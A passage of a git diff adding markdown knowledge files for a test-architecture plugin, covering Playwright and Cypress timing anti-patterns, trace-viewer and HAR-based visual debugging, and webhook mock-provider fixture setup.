+    await expect(page.getByTestId('search-results')).toBeVisible();
+  });
+
+  test('waitForFunction() for custom conditions', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for custom JavaScript condition
+    await page.waitForFunction(() => {
+      const element = document.querySelector('[data-testid="user-count"]');
+      return element && parseInt(element.textContent || '0') > 0;
+    });
+
+    // User count now loaded
+    await expect(page.getByTestId('user-count')).not.toHaveText('0');
+  });
+
+  test('waitFor() element state (attached, visible, hidden, detached)', async ({ page }) => {
+    await page.goto('/products');
+
+    // Wait for element to be attached to DOM
+    await page.getByTestId('product-list').waitFor({ state: 'attached' });
+
+    // Wait for element to be visible (animations complete)
+    await page.getByTestId('product-list').waitFor({ state: 'visible' });
+
+    // Perform action
+    await page.getByText('Product A').click();
+
+    // Wait for modal to be hidden (close animation complete)
+    await page.getByTestId('modal').waitFor({ state: 'hidden' });
+  });
+
+  test('Cypress: cy.wait() with aliased intercepts', async () => {
+    // Cypress example (not Playwright)
+    /*
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic wait for specific request
+
+    cy.get('[data-testid="product-list"]').should('be.visible')
+    */
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()`: Wait for specific API calls (URL pattern or predicate)
+- `waitForFunction()`: Wait for custom JavaScript conditions
+- `waitFor({ state })`: Wait for element state changes (attached, visible, hidden, detached)
+- Cypress `cy.wait('@alias')`: Deterministic wait for aliased intercepts
+- All waits are event-based (not time-based)
+
+---
+
+### Example 3: Timing Anti-Patterns (What NEVER to Do)
+
+**Context**: Common timing mistakes that cause flakiness
+
+**Problem Examples**:
+
+```typescript
+// tests/timing/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Timing Anti-Patterns to Avoid', () => {
+  test('❌ NEVER: page.waitForTimeout() (arbitrary delay)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Arbitrary 3-second wait (flaky)
+    // await page.waitForTimeout(3000)
+    // Problem: Might be too short (CI slower) or too long (wastes time)
+
+    // ✅ Good: Wait for observable event
+    await page.waitForResponse('**/api/dashboard');
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+
+  test('❌ NEVER: cy.wait(number) without alias (arbitrary delay)', async () => {
+    // Cypress example
+    /*
+    // ❌ Bad: Arbitrary delay
+    cy.visit('/products')
+    cy.wait(2000) // Flaky!
+
+    // ✅ Good: Wait for specific request
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic
+    */
+  });
+
+  test('❌ NEVER: Multiple hard waits in sequence (compounding delays)', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Bad: Stacked hard waits (6+ seconds wasted)
+    // await page.waitForTimeout(2000) // Wait for form
+    // await page.getByTestId('email').fill('test@example.com')
+    // await page.waitForTimeout(1000) // Wait for validation
+    // await page.getByTestId('submit').click()
+    // await page.waitForTimeout(3000) // Wait for redirect
+
+    // ✅ Good: Event-based waits (no wasted time)
+    await page.getByTestId('checkout-form').waitFor({ state: 'visible' });
+    await page.getByTestId('email').fill('test@example.com');
+    await page.waitForResponse('**/api/validate-email');
+    await page.getByTestId('submit').click();
+    await page.waitForURL('**/confirmation');
+  });
+
+  test('❌ NEVER: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ❌ Bad: Unreliable in SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // Timeout in SPAs!
+
+    // ✅ Good: Wait for specific API responses
+    await page.goto('/dashboard');
+    await page.waitForResponse('**/api/dashboard');
+    await page.waitForResponse('**/api/user');
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+  });
+
+  test('❌ NEVER: Sleep/setTimeout in tests', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Node.js sleep (blocks test thread)
+    // await new Promise(resolve => setTimeout(resolve, 2000))
+
+    // ✅ Good: Playwright auto-waits for element
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **Hard waits**: Arbitrary timeouts (too short → flaky, too long → slow)
+- **Stacked waits**: Compound delays (wasteful, unreliable)
+- **networkidle**: Broken in SPAs (WebSocket/polling never idle)
+- **Sleep**: Blocks execution (wastes time, doesn't solve race conditions)
+
+**Better Approach**: Use event-based waits from examples above
+
+---
+
+## Async Debugging Techniques
+
+### Technique 1: Promise Chain Analysis
+
+```typescript
+test('debug async waterfall with console logs', async ({ page }) => {
+  console.log('1. Starting navigation...');
+  await page.goto('/products');
+
+  console.log('2. Waiting for API response...');
+  const response = await page.waitForResponse('**/api/products');
+  console.log('3. API responded:', response.status());
+
+  console.log('4. Waiting for UI update...');
+  await expect(page.getByText('Products loaded')).toBeVisible();
+  console.log('5. Test complete');
+
+  // Console output shows exactly where timing issue occurs
+});
+```
+
+### Technique 2: Network Waterfall Inspection (DevTools)
+
+```typescript
+test('inspect network timing with trace viewer', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Generate trace for analysis
+  // npx playwright test --trace on
+  // npx playwright show-trace trace.zip
+
+  // In trace viewer:
+  // 1. Check Network tab for API call timing
+  // 2. Identify slow requests (>1s response time)
+  // 3. Find race conditions (overlapping requests)
+  // 4. Verify request order (dependencies)
+});
+```
+
+### Technique 3: Trace Viewer for Timing Visualization
+
+```typescript
+test('use trace viewer to debug timing', async ({ page }) => {
+  // Run with trace: npx playwright test --trace on
+
+  await page.goto('/checkout');
+  await page.getByTestId('submit').click();
+
+  // In trace viewer, examine:
+  // - Timeline: See exact timing of each action
+  // - Snapshots: Hover to see DOM state at each moment
+  // - Network: Identify slow/failed requests
+  // - Console: Check for async errors
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+---
+
+## Race Condition Checklist
+
+Before deploying tests:
+
+- [ ] **Network-first pattern**: All routes intercepted BEFORE navigation (no race conditions)
+- [ ] **Explicit waits**: Every navigation followed by `waitForResponse()` or state check
+- [ ] **No hard waits**: Zero instances of `waitForTimeout()`, `cy.wait(number)`, `sleep()`
+- [ ] **Element state waits**: Loading spinners use `waitFor({ state: 'detached' })`
+- [ ] **Visibility checks**: Use `toBeVisible()` (accounts for animations), not just `toBeAttached()`
+- [ ] **Response validation**: Wait for successful responses (`resp.ok()` or `status === 200`)
+- [ ] **Trace viewer analysis**: Generate traces to identify timing issues (network waterfall, console errors)
+- [ ] **CI/local parity**: Tests pass reliably in both environments (no timing assumptions)
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (healing timing failures), `*test-review` (detect hard wait anti-patterns), `*framework` (configure timeout standards)
+- **Related fragments**: `test-healing-patterns.md` (race condition diagnosis), `network-first.md` (interception patterns), `playwright-config.md` (timeout configuration), `visual-debugging.md` (trace viewer analysis)
+- **Tools**: Playwright Inspector (`--debug`), Trace Viewer (`--trace on`), DevTools Network tab
+
+_Source: Playwright timing best practices, network-first pattern from test-resources-for-ai, production race condition debugging_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/visual-debugging.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/visual-debugging.md
new file mode 100644
index 0000000..710ec46
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/visual-debugging.md
@@ -0,0 +1,527 @@
+# Visual Debugging and Developer Ergonomics
+
+## Principle
+
+Fast feedback loops and transparent debugging artifacts are critical for maintaining test reliability and developer confidence. Visual debugging tools (trace viewers, screenshots, videos, HAR files) turn cryptic test failures into actionable insights, reducing triage time from hours to minutes.
+
+## Rationale
+
+**The Problem**: CI failures often provide minimal context—a timeout, a selector mismatch, or a network error—forcing developers to reproduce issues locally (if they can). This wastes time and discourages test maintenance.
+
+**The Solution**: Capture rich debugging artifacts **only on failure** to balance storage costs with diagnostic value. Modern tools like Playwright Trace Viewer, Cypress Debug UI, and HAR recordings provide interactive, time-travel debugging that reveals exactly what the test saw at each step.
+
+**Why This Matters**:
+
+- Reduces failure triage time by 80-90% (visual context vs logs alone)
+- Enables debugging without local reproduction
+- Improves test maintenance confidence (clear failure root cause)
+- Catches timing/race conditions that are hard to reproduce locally
+
+## Pattern Examples
+
+### Example 1: Playwright Trace Viewer Configuration (Production Pattern)
+
+**Context**: Capture traces for failures and retries so flaky runs can be compared directly. Prefer `retain-on-failure-and-retries` as the default policy so failed retries can be compared with passing runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  use: {
+    // Visual debugging artifacts (best signal for flaky triage)
+    trace: 'retain-on-failure-and-retries', // Keep every failed attempt
+    screenshot: 'only-on-failure', // Not on success
+    video: 'retain-on-failure', // Delete on pass
+
+    // Context for debugging
+    baseURL: process.env.BASE_URL || 'http://localhost:3000',
+
+    // Timeout context
+    actionTimeout: 15_000, // 15s for clicks/fills
+    navigationTimeout: 30_000, // 30s for page loads
+  },
+
+  // CI-specific artifact retention
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'results.xml' }],
+    ['list'], // Console output
+  ],
+
+  // Failure handling
+  retries: process.env.CI ? 2 : 0, // Retry in CI to capture trace
+  workers: process.env.CI ? 1 : undefined,
+});
+```
+
+**Opening and Using Trace Viewer**:
+
+```bash
+# After test failure in CI, download trace artifact
+# Then inspect locally:
+npx playwright trace open path/to/trace.zip
+
+# Filter to the failing expectation or action from the terminal
+npx playwright trace actions path/to/trace.zip --grep="expect"
+npx playwright trace action path/to/trace.zip 9
+npx playwright trace snapshot path/to/trace.zip 9 --name after
+
+# Or serve trace viewer:
+npx playwright show-report
+```
+
+**Key Features to Use in Trace Viewer**:
+
+1. **Timeline**: See each action (click, navigate, assertion) with timing
+2. **Snapshots**: Hover over timeline to see DOM state at that moment
+3. **Network Tab**: Inspect all API calls, headers, payloads, timing
+4. **Console Tab**: View console.log/error messages
+5. **Source Tab**: See test code with execution markers
+6. **Metadata**: Browser, OS, test duration, screenshots
+
+**Why This Works**:
+
+- `retain-on-failure-and-retries` preserves enough history to compare the failing retry with a passing run
+- Screenshots + video give visual context without trace overhead
+- Interactive timeline makes timing issues obvious (race conditions, slow API)
+
+---
+
+### Example 2: HAR File Recording for Network Debugging
+
+**Context**: Capture all network activity for reproducible API debugging
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-with-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test.describe('Checkout Flow with HAR Recording', () => {
+  test('should complete payment with full network capture', async ({ page, context }) => {
+    // Start HAR recording BEFORE navigation
+    await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+      url: '**/api/**', // Only capture API calls
+      update: true, // Update HAR if file exists
+    });
+
+    await page.goto('/checkout');
+
+    // Interact with page
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    // Wait for payment confirmation
+    await expect(page.getByTestId('success-message')).toBeVisible();
+
+    // HAR file saved to fixtures/checkout.har
+    // Contains all network requests/responses for replay
+  });
+});
+```
+
+**Using HAR for Deterministic Mocking**:
+
+```typescript
+// tests/e2e/checkout-replay-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test('should replay checkout flow from HAR', async ({ page, context }) => {
+  // Replay network from HAR (no real API calls)
+  await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  await page.goto('/checkout');
+
+  // Same test, but network responses come from HAR file
+  await page.getByTestId('payment-method').selectOption('credit-card');
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- **`update: true`** records new HAR or updates existing (for flaky API debugging)
+- **`update: false`** replays from HAR (deterministic, no real API)
+- Filter by URL pattern (`**/api/**`) to avoid capturing static assets
+- HAR files are human-readable JSON (easy to inspect/modify)
+
+**When to Use HAR**:
+
+- Debugging flaky tests caused by API timing/responses
+- Creating deterministic mocks for integration tests
+- Analyzing third-party API behavior (Stripe, Auth0)
+- Reproducing production issues locally (record HAR in staging)
+
+---
+
+### Example 3: Custom Artifact Capture (Console Logs + Network on Failure)
+
+**Context**: Capture additional debugging context automatically on test failure
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/debug-fixture.ts
+import { test as base, type Request } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+type DebugFixture = {
+  captureDebugArtifacts: () => Promise<void>;
+};
+
+export const test = base.extend<DebugFixture>({
+  captureDebugArtifacts: async ({ page }, use, testInfo) => {
+    await use(async () => {
+      // This function can be called manually in tests
+      // But it also runs automatically on failure via afterEach
+    });
+
+    // After test completes, save artifacts if failed
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const artifactDir = path.join(testInfo.outputDir, 'debug-artifacts');
+      fs.mkdirSync(artifactDir, { recursive: true });
+
+      const consoleLogs = (await page.consoleMessages()).map((msg) => `[${msg.type()} @ ${msg.timestamp().toISOString()}] ${msg.text()}`);
+      const pageErrors = (await page.pageErrors()).map((error) => ({
+        name: error.name,
+        message: error.message,
+        stack: error.stack,
+      }));
+      const networkRequests = await Promise.all(
+        (await page.requests()).map(async (request: Request) => {
+          const response = await request.response();
+          return {
+            url: request.url(),
+            method: request.method(),
+            status: response?.status() ?? 0,
+          };
+        }),
+      );
+
+      // Save console logs
+      fs.writeFileSync(path.join(artifactDir, 'console.log'), consoleLogs.join('\n'), 'utf-8');
+
+      // Save page errors
+      fs.writeFileSync(path.join(artifactDir, 'page-errors.json'), JSON.stringify(pageErrors, null, 2), 'utf-8');
+
+      // Save network summary
+      fs.writeFileSync(path.join(artifactDir, 'network.json'), JSON.stringify(networkRequests, null, 2), 'utf-8');
+
+      console.log(`Debug artifacts saved to: ${artifactDir}`);
+    }
+  },
+});
+```
+
+**Usage in Tests**:
+
+```typescript
+// tests/e2e/payment-with-debug.spec.ts
+import { test, expect } from '../support/fixtures/debug-fixture';
+
+test('payment flow captures debug artifacts on failure', async ({ page, captureDebugArtifacts }) => {
+  await page.goto('/checkout');
+
+  // Test will automatically capture console + network on failure
+  await page.getByTestId('submit-payment').click();
+  await expect(page.getByTestId('success-message')).toBeVisible({ timeout: 5000 });
+
+  // If this fails, console.log and network.json saved automatically
+});
+```
+
+**CI Integration (GitHub Actions)**:
+
+```yaml
+# .github/workflows/e2e.yml
+name: E2E Tests with Artifacts
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run Playwright tests
+        run: npm run test:e2e
+        continue-on-error: true # Capture artifacts even on failure
+
+      - name: Upload test artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-artifacts
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+```
+
+**Key Points**:
+
+- Fixtures automatically capture context without polluting test code
+- Only saves artifacts on failure (storage-efficient)
+- CI uploads artifacts for post-mortem analysis
+- `continue-on-error: true` ensures artifact upload even when tests fail
+
+---
+
+### Example 4: Accessibility Debugging Integration (axe-core in Trace Viewer)
+
+**Context**: Catch accessibility regressions during visual debugging
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/a11y-fixture.ts
+import { test as base } from '@playwright/test';
+import AxeBuilder from '@axe-core/playwright';
+
+type A11yFixture = {
+  checkA11y: () => Promise<void>;
+};
+
+export const test = base.extend<A11yFixture>({
+  checkA11y: async ({ page }, use) => {
+    await use(async () => {
+      // Run axe accessibility scan
+      const results = await new AxeBuilder({ page }).analyze();
+
+      // Attach results to test report (visible in trace viewer)
+      if (results.violations.length > 0) {
+        console.log(`Found ${results.violations.length} accessibility violations:`);
+        results.violations.forEach((violation) => {
+          console.log(`- [${violation.impact}] ${violation.id}: ${violation.description}`);
+          console.log(`  Help: ${violation.helpUrl}`);
+        });
+
+        throw new Error(`Accessibility violations found: ${results.violations.length}`);
+      }
+    });
+  },
+});
+```
+
+**Usage with Visual Debugging**:
+
+```typescript
+// tests/e2e/checkout-a11y.spec.ts
+import { test, expect } from '../support/fixtures/a11y-fixture';
+
+test('checkout page is accessible', async ({ page, checkA11y }) => {
+  await page.goto('/checkout');
+
+  // Verify page loaded
+  await expect(page.getByRole('heading', { name: 'Checkout' })).toBeVisible();
+
+  // Run accessibility check
+  await checkA11y();
+
+  // If violations found, test fails and trace captures:
+  // - Screenshot showing the problematic element
+  // - Console log with violation details
+  // - Network tab showing any failed resource loads
+});
+```
+
+**Trace Viewer Benefits**:
+
+- **Screenshot shows visual context** of accessibility issue (contrast, missing labels)
+- **Console tab shows axe-core violations** with impact level and helpUrl
+- **DOM snapshot** allows inspecting ARIA attributes at failure point
+- **Network tab** reveals if icon fonts or images failed (common a11y issue)
+
+**Cypress Equivalent**:
+
+```javascript
+// cypress/support/commands.ts
+import 'cypress-axe';
+
+Cypress.Commands.add('checkA11y', (context = null, options = {}) => {
+  cy.injectAxe(); // Inject axe-core
+  cy.checkA11y(context, options, (violations) => {
+    if (violations.length) {
+      cy.task('log', `Found ${violations.length} accessibility violations`);
+      violations.forEach((violation) => {
+        cy.task('log', `- [${violation.impact}] ${violation.id}: ${violation.description}`);
+      });
+    }
+  });
+});
+
+// tests/e2e/checkout-a11y.cy.ts
+describe('Checkout Accessibility', () => {
+  it('should have no a11y violations', () => {
+    cy.visit('/checkout');
+    cy.injectAxe();
+    cy.checkA11y();
+    // On failure, Cypress UI shows:
+    // - Screenshot of page
+    // - Console log with violation details
+    // - Network tab with API calls
+  });
+});
+```
+
+**Key Points**:
+
+- Accessibility checks integrate seamlessly with visual debugging
+- Violations are captured in trace viewer/Cypress UI automatically
+- Provides actionable links (helpUrl) to fix issues
+- Screenshots show visual context (contrast, layout)
+
+---
+
+### Example 5: Time-Travel Debugging Workflow (Playwright Inspector)
+
+**Context**: Debug tests interactively with step-through execution
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-debug.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('debug checkout flow step-by-step', async ({ page }) => {
+  // Set breakpoint by uncommenting this:
+  // await page.pause()
+
+  await page.goto('/checkout');
+
+  // Use Playwright Inspector to:
+  // 1. Step through each action
+  // 2. Inspect DOM at each step
+  // 3. View network calls per action
+  // 4. Take screenshots manually
+
+  await page.getByTestId('payment-method').selectOption('credit-card');
+
+  // Pause here to inspect form state
+  // await page.pause()
+
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Running with Inspector**:
+
+```bash
+# Open Playwright Inspector (GUI debugger)
+npx playwright test --debug
+
+# Or use headed mode with slowMo
+npx playwright test --headed --slow-mo=1000
+
+# Debug specific test
+npx playwright test checkout-debug.spec.ts --debug
+
+# Set environment variable for persistent debugging
+PWDEBUG=1 npx playwright test
+```
+
+**Inspector Features**:
+
+1. **Step-through execution**: Click "Next" to execute one action at a time
+2. **DOM inspector**: Hover over elements to see selectors
+3. **Network panel**: See API calls with timing
+4. **Console panel**: View console.log output
+5. **Pick locator**: Click element in browser to get selector
+6. **Record mode**: Record interactions to generate test code
+
+**Common Debugging Patterns**:
+
+```typescript
+// Pattern 1: Debug selector issues
+test('debug selector', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.pause(); // Inspector opens
+
+  // In Inspector console, test selectors:
+  // page.getByTestId('user-menu') ✅
+  // page.getByRole('button', { name: 'Profile' }) ✅
+  // page.locator('.btn-primary') ❌ (fragile)
+});
+
+// Pattern 2: Debug timing issues
+test('debug network timing', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Set up network listener BEFORE interaction
+  const responsePromise = page.waitForResponse('**/api/users');
+  await page.getByTestId('load-users').click();
+
+  await page.pause(); // Check network panel for timing
+
+  const response = await responsePromise;
+  expect(response.status()).toBe(200);
+});
+
+// Pattern 3: Debug state changes
+test('debug state mutation', async ({ page }) => {
+  await page.goto('/cart');
+
+  // Check initial state
+  await expect(page.getByTestId('cart-count')).toHaveText('0');
+
+  await page.pause(); // Inspect DOM
+
+  await page.getByTestId('add-to-cart').click();
+
+  await page.pause(); // Inspect DOM again (compare state)
+
+  await expect(page.getByTestId('cart-count')).toHaveText('1');
+});
+```
+
+**Key Points**:
+
+- `page.pause()` opens Inspector at that exact moment
+- Inspector shows DOM state, network activity, console at pause point
+- "Pick locator" feature helps find robust selectors
+- Record mode generates test code from manual interactions
+
+---
+
+## Visual Debugging Checklist
+
+Before deploying tests to CI, ensure:
+
+- [ ] **Artifact configuration**: `trace: 'retain-on-failure-and-retries'`, `screenshot: 'only-on-failure'`, `video: 'retain-on-failure'`
+- [ ] **CI artifact upload**: GitHub Actions/GitLab CI configured to upload `test-results/` and `playwright-report/`
+- [ ] **HAR recording**: Set up for flaky API tests (record once, replay deterministically)
+- [ ] **Custom debug fixtures**: Console logs + network summary captured on failure
+- [ ] **Accessibility integration**: axe-core violations visible in trace viewer
+- [ ] **Trace viewer docs**: README explains how to open traces locally (`npx playwright trace open`)
+- [ ] **Inspector workflow**: Document `--debug` flag for interactive debugging
+- [ ] **Storage optimization**: Artifacts deleted after 30 days (CI retention policy)
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (initial setup), `*ci` (artifact upload), `*test-review` (validate artifact config)
+- **Related fragments**: `playwright-config.md` (artifact configuration), `ci-burn-in.md` (CI artifact upload), `test-quality.md` (debugging best practices)
+- **Tools**: Playwright Trace Viewer, Cypress Debug UI, axe-core, HAR files
+
+_Source: Playwright official docs, Murat testing philosophy (visual debugging manifesto), enterprise production debugging patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-module-setup.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-module-setup.md
new file mode 100644
index 0000000..9835986
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-module-setup.md
@@ -0,0 +1,122 @@
+# Webhook Module Setup
+
+## Principle
+
+Wire the provider once in a central fixtures file using the `webhookProviderFixture + webhookFixture + mergeTests` pattern. Tests that request `webhookRegistry` get automatic setup and teardown; tests that don't pay nothing (Playwright lazy fixture evaluation).
+
+## Fixture Wiring Pattern
+
+### WireMock Provider (recommended for most setups)
+
+The WireMock provider works with any backend that implements the `/__admin/requests` API format — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as webhookFixture } from '@seontechnologies/playwright-utils/webhook/fixtures';
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+// Lazy-initialized by Playwright — no cost for tests that don't request webhookRegistry.
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+
+const test = mergeTests(
+  base,
+  // ...your other fixtures...
+  webhookFixture,
+  webhookProviderFixture,
+);
+
+// Use matched-only cleanup project-wide: each test only deletes the webhooks it
+// matched, so a parallel worker's teardown cannot wipe the shared journal while
+// another test is still mid-flight (fullyParallel: true race condition).
+test.use({ webhookConfig: { cleanupStrategy: 'matched-only' } });
+
+export { test };
+```
+
+This is the exact pattern used in the playwright-utils E2E suite (`playwright/support/merged-fixtures.ts`).
+
+### MockServer Provider
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+### Mockoon Provider
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## Cleanup Strategy Decision
+
+| Strategy                 | Behaviour                                                                            | When to choose                                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------- |
+| `'full-reset'` (default) | Calls `provider.resetJournal()` — wipes the entire mock server journal               | Safe only for serial execution or when each worker has an isolated provider instance                                 |
+| `'matched-only'`         | Calls `provider.deleteById(id)` for each webhook matched by `waitFor`/`waitForCount` | Required for `fullyParallel: true` with a shared journal **when the provider supports `deleteById`** (e.g. WireMock) |
+
+**The race condition under `fullyParallel: true`**: Worker A finishes and calls `resetJournal()`. Worker B is mid-poll waiting for its webhook. Worker A's reset just deleted Worker B's webhook — the poll times out with `WebhookTimeoutError`. Use `matched-only` to avoid this — but only when the provider supports `deleteById`.
+
+**MockServer and Mockoon limitation**: Neither supports `deleteById` — their implementations are no-ops. The `startedAt` timestamp filter isolates _reads_ inside `waitFor`/`waitForCount`, but `cleanup()` with `full-reset` still calls `resetJournal()`, which wipes the entire journal. This means the teardown race exists for these providers too under `fullyParallel: true`. For parallel suites with MockServer or Mockoon, either run serially (`workers: 1`) or provision an isolated mock server instance per worker.
+
+## Fixture Lifecycle
+
+The fixture calls these in order:
+
+1. `provider.setup?.()` — optional health check or stub registration
+2. Tests run with `webhookRegistry` available
+3. `registry.cleanup()` — deletes matched webhooks (`matched-only`) or resets journal (`full-reset`)
+4. `provider.teardown?.()` — optional resource cleanup
+
+Both cleanup and teardown failures are caught and logged as warnings — they don't mask actual test failures.
+
+## WebhookRegistryConfig Options
+
+```typescript
+type WebhookRegistryConfig = {
+  defaultTimeout?: number; // default: 30000 ms
+  defaultInterval?: number; // default: 1000 ms
+  cleanupStrategy?: 'matched-only' | 'full-reset'; // default: 'full-reset'
+};
+```
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-template-matchers.md` — Template building and matcher patterns
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider details
+- `fixtures-composition.md` — mergeTests pattern
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-providers.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-providers.md
new file mode 100644
index 0000000..15eac70
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-providers.md
@@ -0,0 +1,155 @@
+# Webhook Provider Patterns
+
+## Principle
+
+Three built-in providers ship with playwright-utils. Each wraps a different mock server API. For any backend not covered, implement the `WebhookProvider` interface. The registry only cares about the contract — not the backend technology.
+
+## WireMockWebhookProvider
+
+Uses `GET /__admin/requests` to fetch the webhook log and `DELETE /__admin/requests` to reset. Supports `deleteById` for `matched-only` cleanup.
+
+**Works with any backend implementing the `/__admin/requests` format** — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+```
+
+Supports both cleanup strategies. Use `matched-only` when running `fullyParallel: true`.
+
+## MockServerWebhookProvider
+
+Uses `PUT /mockserver/retrieve` to fetch logs with client-side `since` filtering.
+
+**Limitation**: `deleteById` is a no-op — MockServer does not support deleting individual log entries by ID. The `startedAt` timestamp filter handles per-test isolation. Use `full-reset` for explicit journal cleanup.
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## MockoonWebhookProvider
+
+Uses `GET /mockoon-admin/logs` to fetch logs. The admin API is enabled by default in `@mockoon/cli`. Default log limit is 100 entries — increase with `--max-transaction-logs` if your suite generates more.
+
+**Limitation**: `deleteById` is a no-op for the same reason as MockServer. Use `full-reset`.
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
